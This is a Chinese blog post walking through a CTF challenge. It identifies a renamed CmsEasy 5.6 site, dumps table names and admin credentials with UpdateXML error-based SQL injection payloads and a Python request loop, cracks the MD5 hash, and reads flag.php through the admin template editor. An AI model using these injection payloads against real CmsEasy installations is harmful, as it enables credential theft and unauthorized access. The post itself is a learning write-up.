# [WEB攻防] i春秋-"百度杯"CTF比赛 十二月场-YeserCMS cmseasy CmsEasy\_5.6\_20151009 无限制报错注入 复现过程



<u>AAAAAAAAAAAAA66</u> 于 2021-12-23 20:46:22 发布 684 论 收藏 1 分类专栏: web攻防学习 CTF - WEB 学习 文章标签: 前端 安全 web安全 版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。 本文链接: https://blog.csdn.net/AAAAAAAAAAAA66/article/details/122114844 版权



web攻防学习同时被2个专栏收录

16 篇文章 0 订阅 订阅专栏



<u>CTF-WEB 学习</u> 34 篇文章 1 订阅 订阅专栏 中华人民共和国网络安全法(出版物) 360百科

可以说一道经典的CTF题目,解这道题的过程类似于我们渗透测试的过程,所以把它放在了这个专栏,在这里我们详细 讲过程,而不是原理。

# 目录

# 题目

寻找方向

flag .php

YearsCMS

报错注入

后台读取flag

总结

题目



给了我们提示,而且注意题目名字,YeserCMS CMS(内容管理系统)提示我们要找到这个网站的CMS版本

# 进入环境

· 热列庆祝本公司网站构建成立! [20	010-07-07]						Sitemap   Contact	网站切换
	,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,	_			_			
企业新闻 / news		产品中	中心 / products					
优秀网站的五 1、网站内容非 为一种媒体,提 还是网站的内容 没内容的网站	大要素 非富 网站作 供给用户的最主要 7,没有人会在一个	<		R				>
<ul><li>优秀网站的五大要素</li><li>网站建设项目合同撰写注意点</li></ul>	[2011-11]		<b>罗技G500鼠标</b> 价格: <b>360</b> 元	优秀网站的五	大要素	<b>iPhone</b> 价格: <mark>5620</mark> 元	<b>徐卡M9</b> 价格:40500疗	Ē
▶ 一个成功的网站设计	[2010-07]	Cont	entType 高端商品					
, 网站文化与网页设计	[2010-07]							
Read More		2周年	纪念,感恩大	促销活动! /	Special			

寻找方向

一般情况我们肯定都是把能点的全点一遍,上传的上传,注入的注入,传参执行的执行。

但是要按照题目意思来,毕竟这是比赛,时间还是比较紧张的,不可能让你在没漏洞的地方浪费时间,而是给了你一点 提示

- flag.php
- YearsCMS

## flag .php

## 先进入flag.php

$\leftarrow$ $\rightarrow$ C $\textcircled{a}$	🔿 👌 f323616315c34c59a57da0958bdba1c55e2573098c8a48ea.changame.ichunqiu.com/flag.php	鬷 ☆
🗋 火狐官方站点 🗋 火狐官方站点 🧕 新手	上路 🗋 常用网址 🕀 京东商城 🗋 常用网址 🕀 京东商城 🖞 附加组件管理器	
flag is here		

CSDN @AAAAAAAAAAAAAA66

没有,但是应该是在后台。习惯性的robots.txt(这种题目该给的信息会给)



YearsCMS

网上搜索YearsCMS,但是如果这是比赛的话,你是搜不到的,因为这是出题方改了cms的名字(现在早就比完了,肯定能搜到不少 write up)

所以接下来就是提到如何通过这个网页寻找CMS版本了

常见的判断网站cms方法\_黑面狐-CSDN博客\_网站cms系统检测

想详细学习的可以看上面的链接。

最简单方法就是直接浏览器搜索在线CMS指纹识别

在线指纹识别,在线cms识别小插件--在线工具

把网址输进去OK



# 报错注入

找到了cms版本,接下来就是百度该cms的漏洞了。(具体原理看下方链接)

cmseasy CmsEasy\_5.6\_20151009 无限制报错注入(parse\_str()的坑) - 羊小弟 - 博客园

我们获得了payload

url: /celive/live/header.php

post:

xajax=Postdata&xajaxargs[0]=<xjxquery><q>detail=xxxxxx%2527%252C%2528UpdateXML%25281%252CCONCAT%25280x5b%25

这里是经过了二次编码,所以我们URL解码看看payload,方便我们通过这个题目稍微修改下。百度在线网站解码

Unicode编码	UTF-8编码	URL编码/解码	Unix时间戳	Ascii/Native编码互转	Hex编码/解码	Html编码/解码	
xajax=Postdata8 user),1,32),0x5d)	txajaxargs[0] = <: ,1)),NULL,NULL,I	xjxquery> <q>detail NULL,NULL,NULL,NU</q>	=xxxxxx',(Updat JLL) <th>eXML(1,CONCAT(0x5b,mi (query&gt;</th> <th>ld((SELECT/**/GROU</th> <th>IP_CONCAT(concat(usernan</th> <th>ne, ' ',password)) from</th>	eXML(1,CONCAT(0x5b,mi (query>	ld((SELECT/**/GROU	IP_CONCAT(concat(usernan	ne, ' ',password)) from
解码后					utf-8	▼ UrlEncode编码	UASDIdaaARAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

<pre>xajax=Postdata&amp;xajaxargs[0]=<xjxquery><q>detail=xxxxxx',</q></xjxquery></pre>
<pre>(UpdateXML(1,CONCAT(0x5b,mid((SELECT/**/GROUP_CONCAT(concat(username,' ',password)) from cmseasy_user),1,32</pre>

这里是查找cmseasy user的表信息,也就是用户的账户密码,可是使用不了(出题人修改了表名)

那怎么办?

既然注入存在,我们自行修改语句,从爆表开始。这里就需要有一点报错注入的基础了,下面文章讲到了 报错注入。

i春秋CTF-训练营 SQL注入-2一鱼三吃 sqlmap bp手注 python脚本\_AAAAAAAAAAAAA66的博客-CSDN博客

SQL注入之错误注入\_基于updatexml()\_wangyuxiang946的博客-CSDN博客

修改后的payload

xajax=Postdata&xajaxargs[0]=<xjxquery><q>detail=xxxxxx',(UpdateXML(1,CONCAT(0x5b,mid((SELECT/\*\*/GROUP\_CONCA

到这个url (漏洞讲解里有,这里有传参,存在注入)

/celive/live/header.php

XPATH syntax error: '[yesercms\_a\_attachment,yesercms\_'

INSERT INTO `yesercms\_detail` (`chatid`,`detail`,`who\_witter`) VALUES('','xxxxxx',(UpdateXML(1,CONCAT(0x5b,mid((SELECT/\*\*/GROUP\_CONCAT(table\_name) from information\_sche table\_schema=database()),1,32),0x5d),1)),NULL,NULL,NULL,NULL,NULL,- (2021-12-23 20:07:32)','2')



因为输出长度的限制,只爆出了一点表,之后我修改1,32,为32到64,继续运行。

xajax=Postdata&xajaxargs[0]=<xjxquery><q>detail=xxxxx', (UpdateXML(1,CONCAT(0x5b,mid((SELECT/\*\*/GROUP\_CONCAT(table\_name) from information\_schema.tables where table\_schema=database()),1,32),0x5d),1)),NULL,NULL,NULL,NULL,NULL,NULL,NULL)-- </q></xjxquery>





这时候问题又来了怎么爆完,手动还是自动,不说了,上大佬脚本!

pycharm python3版本运行

```
import requests
url = 'http://f323616315c34c59a57da0958bdba1c55e2573098c8a48ea.changame.ichunqiu.com/celive/live/header.php
for i in range(1,999,31):
    postdata = {
        'xajax':'Postdata',
        'xajaxargs[0]':"<xjxquery><q>detail=xxxxxx',(UpdateXML(1,CONCAT(0x5b,mid((SELECT/**/GROUP_CONCAT(table_
}
        r = requests.post(url,data=postdata)
```

```
r = requests.post(url,data=postdata
print(r.content[22:53])
```



好家伙,放在最后一个?手动不得累死我??

随后爆出管理员账户和密码payload

xajax=Postdata&xajaxargs[0]=<xjxquery><q>detail=xxxxxx',(UpdateXML(1,CONCAT(0x5b,mid((SELECT/\*\*/GROUP\_CONCA

#### XPATH syntax error: '[adminff512d4240cbbdeafada404677'

INSERT INTO `yesercms\_detail` (`chatid`,`detail`,`who\_witter`) VALUES('','xxxxx',(UpdateXML(1,CONCAT(0x5b,substring((SELECT/\*\*/GROUP\_CONCAT(username,password) from yesercms\_user),1,32),0x5d),1)),NULL,NULL,NULL,NULL,NULL,NULL)-- (2021-12-23 17:26:35)','2')



好家伙,又不给我爆完(输出长度的限制)

修改payload (1,32 改为32,64)

### payload

xajax=Postdata&xajaxargs[0]=<xjxquery><q>detail=xxxxxx',(UpdateXML(1,CONCAT(0x5b,mid((SELECT/\*\*/GROUP\_CONCA

#### XPATH syntax error: '[7ccbe61]'



[admin|ff512d4240cbbdeafada404677ccbe61]

MD5解码 还是那样百度MD5在线解码。

查询结果: 已查到,这是一条付费记录。请点击 <mark>购买</mark> (点击购买才扣费,并立即显示解密结果和加密类型。本站www.cmd5.com数据量全球第一,成功率全球第一,支持多 种类型,许多密码只有本站才可以查询)	密文: [ 类型:	[admin ff512d4240cbbdeafac 自动 <mark>查询</mark>	a404677ccbe61] ~ [ 加密	[帮助]	
	查询结果: 已查到,这是一条付费记录。请点起 (点击购买才扣费,并立即显示解释 种类型,许多密码只有本站才可以	击 <mark>购买</mark> 密结果和加密类型。本站wwwぃ 以查询)	:md5.com数据量全球第	—,成功率全球第一,支持豸	3

换个网站

		输入让你无语的	JMD5	
	ff512	2d4240cbbdeafada404677ccbe61		解密
		md5		
		Yeser231		
			CSDA	@AAAAAAAAAAAA66
所以得	出 管	理员账户: admin 密码: Yeser231		

随后url改为 /admin 登陆

🙎 admin	
	CSDN @AAAAAAAAAAAAAA66

这一阶段的任务就完成了。

# 后台读取flag

这里也需要一些尝试,首先是想文件上传,试了很久发现没有?,咋办?要是我当初做到这一步我也不知道, 哈哈,所以要看write up 学习思路啊。

以看过write up的心理来说下一步。最可疑的地方是()????

		🏫 设置内容 用户订单功能 🕌 模	板 一 諸
00	模板管理		网站首页 生成静态 添加内容 更新缓存
	模板选择	档案	名称 简短描述
4	模板结构		
	当前模板编辑	left.html [编辑]	全站左侧
	添加标签	~	
2	添加内容标签	position.html [编辑]	栏目页当前位置
Ð	添加栏目标签		
a	添加自定义标签	header.html [编辑]	页头
	标签列表	footer.html [编辑]	页脚 这是网站底部
	函数标签		
×	系统标签	ditu.html [编辑]	
8	内容标签		
•	栏目标签	vote 😑	投票
	自定义标签		
		comment 🚖	评论
			CSDN @AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

# 点编辑抓包

🚯 Burp Suite Professional v2020.9.1 - Temporary Project - licensed to xxx –	×			
Burp Project Intruder Repeater Window Help				
Dashboard Target Proxy Intruder Repeater Sequencer Decoder Comparer Extender Project options User options				
Intercept HTTP history WebSockets history Options				
Request to http://b548ae2ba4384149a7c5738a22e31cfccb828e22821c4ead.changame.ichunqiu.com:80 [113.207.76.112]				
Forward Drop Intercept is on Action Open Browser	🤎 ?			
Raw Params Headers Hex				
Pretty Raw In Actions V				
<pre>PBST //mdx.php?case=texplateActFitChRober_disclipte=default HTTP/L 1 BRst: 1548ex198418436:753822812clic4ed.chungmae.ichungiu.com Content-Length 18 Content-Length 18 Content-Teps: pplication/jsen.tex/jarascript, */* V=Requested*ih: XUMEtyBequest User-Agent: scalls/5.0 (Mores HT 10.0 V Hin64: 160) AppleTebLit/37.36 (EHTML, like Gecko) Chrome/85.0.4183.83 Safari/37.36 Content-Type: application/jsen.tex/jarascript.ede/des/2822921clead.chungmae.ichungiu.com Referre: http://b58as2ba381419ac7538a22931cfeedb282e2921clead.chungmae.ichungiu.com Content-Type: application/section/-www-forurulencoded Origin: http://b58as2ba3814149ac7538a22931cfeedb282e2921clead.chungmae.ichungiu.com Referre: http://b58as2ba3814149ac7538a22931cfeedb282e2921clead.chungmae.ichungiu.com/index.php?case=templateMact=editAtatain_dir=Maintksite=default Accept=Language: http://b58as2ba3814149ac7538a22931cfeedb282e2921clead.chungmae.ichungiu.com/index.php?case=templateMact=dir=dmintksite=default Conte: FTMS28D1414dfaad538a22931cfeedb282e2921cfeedb282e2921cfeedb282e736d5920764b737315fa690b7de723: login_username=admin: login_passerd=a4f48d984c381a?%a=84f8d984c381a?%a=84f8d984c381a?%a=84f8d984c381a?%a=84f8d984c381a?%a=84f8d984c381a?%a=84f8d984c381a?%a=84f8d984c381a?%a=84f8d984c381a?%a=84f8d984c381a?%a=84f8d984c381a?%a=84f8d984c381a?%a=84f8d984c381a?%a=84f8d984c381a?%a=84f8d984c381a?%a=84f8d984c381a?%a=84f8d984c381a?%a=84f8d984c381a?%a=84f8d984c381a?%a=84f8d984c381a?%a=84f8d984c381a?%a=84f8d984c381a?%a=84f8d984c381a?%a=84f8d984c381a?%a=84f8d984c381a?%a=84f8d984c381a?%a=84f8d984c381a?%a=84f8d984c381a?%a=84f8d984c381a?%a=84f8d984c381a?%a=84f8d984c381a?%a=84f8d984c381a?%a=84f8d984c381a?%a=84f8d984c381a?%a=84f8d984c381a?%a=84f8d984c381a?%a=84f8d984c381a?%a=84f8d984c381a?%a=84f8d984c381a?%a=84f8d984c381a?%a=84f8d984c381a?%a=84f8d984c381a?%a=84f8d984c381a?%a=84f8d984c381a?%a=84f8d984c381a?%a=84f8d984c381a?%a=84f8d984c381a?%a=84f8d984c381a?%a=84f8d984c381a?%a=84f8d984c381a?%a=84f8d984c381a?%a=84f8d984c381a?%a=84f8d984c381a?%a=84f8d984c381a?%a=84f8d984c381</pre>				
	↓ 0			
(?)¿Q\$ ( ←   →   Search CSDN @AAAAAAAAA	names			

&id=#position\_html

重新抓包repeated

🚯 Burp Suite Professional v2020.9.1 - Temporary Project - licensed to xxx						
Burp Project Intruder Repeater Window Help						
Dashboard Target Proxy Intruder Repeater Sequencer Decoder Comparer Extender Project optim	ons User options					
1 × 2 ×						
Send Cancel <   T	Target: http://b548ae2ba4384149a7c5738a22e31cfccb828e22821c4ead.changame.ichunqiu.com 🖉 🕐					
Request	Response					
Raw Params Headers Hex	Raw Headers Hex					
Pretty Raw In Actions V	Pretty Raw Render In Actions V					
<pre>1 POST /index.php?case=template&amp;act=fetch&amp;admin_dir=admin&amp;ite=default HTTP/1.1 2 Host: b548ac2ba4394149a7c5738a22e31cfccb8228c2182lc4ead.changame.ichungiu.com 3 Content-ength: 19 4 Accept:application/json, text/javascript, */# 5 W-Requested=W-thix LNUKHURPequest 6 User-Agent: Mosilla/5.0 (Windows NT 10.0: Win64: x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.4183.83 Safari/537.36 7 Content-Type: application/x-www-form-urlencoded 8 Origin: http://b548ac2ba4384149a7c5738a22e31cfccb828e22821c4ead.changame.ichungiu.com 9 Referen: http://b548ac2ba4384149a7c5738a22e31cfccb828e22821c4ead.changame.ichungiu.com 9 Referen: http://b548ac2ba4384149a7c5738a22e31cfccb828e22821c4ead.changame.ichungiu.com/index.php?case=templ ate&amp;act=dt&amp;dahim.dir=adminksit=default 1 Accept-Encoding: gzip, deflate 11 Accept-Encoding: gzip, deflate 12 Cookie: PHPS8SID=13dd3fsab2eef4abef01d93bd18f011: _jsluid_h=528756d52f074b787315fs690b7de723: login_username=admin:islogin_password=304f480844c931a79ae9db9aa41d2c44: style=skin2; login_username=admin.sit=ref30W221thy32H20FWACFWACFWACFWACFWACFWACFWACFWACFWACFWAC</pre>	<pre>1 HTTP/1.1 200 0K 2 Date: Thm, 23 Dec 2021 09:48:40 GMT 3 ContentT-Type: text/ht11: charset=utf=8 4 Commetion: close 5 Vary: Accept-Encoding 6 Pragma: no-cache 7 Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 8 Rapies: Thm, 19 Nov 1981 08:52:00 GMT 9 ~\dim Stries: Thm, 19 Nov 1981 08:52:00 GMT 10 X-Cache: bypass 11 Content-Length: 267 12 13 {*Content::^(textures rows=\^20)* cols=\^78\* id=\*\/\/flag.php_content\* style=\*font-family: Fixeds <pre></pre></pre>					
	CSDN @AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA					

获取flag

总结

这道题目就像真实的渗透测试一样,找信息,找POC,利用POC,编写脚本,进入后台,抓包猜程序功能,尝试寻找,修改文件,最终获取flag,按着这个思路的确对自己有挺大帮助的,至少在思考上。

参考链接

"百度杯"CTF比赛 九月场 YeserCMS 详细解析 - 灰信网(软件开发博客聚合)

cmseasy CmsEasy\_5.6\_20151009 无限制报错注入(parse\_str()的坑) - 羊小弟 - 博客园

SQL注入之错误注入\_基于updatexml()\_wangyuxiang946的博客-CSDN博客

作者水平有限,有任何不当之处欢迎指正。

本文目的是为了传播web安全原理知识,提高相关人员的安全意识,任何利用本文提到的技术与工具造成的违法 行为,后果自负!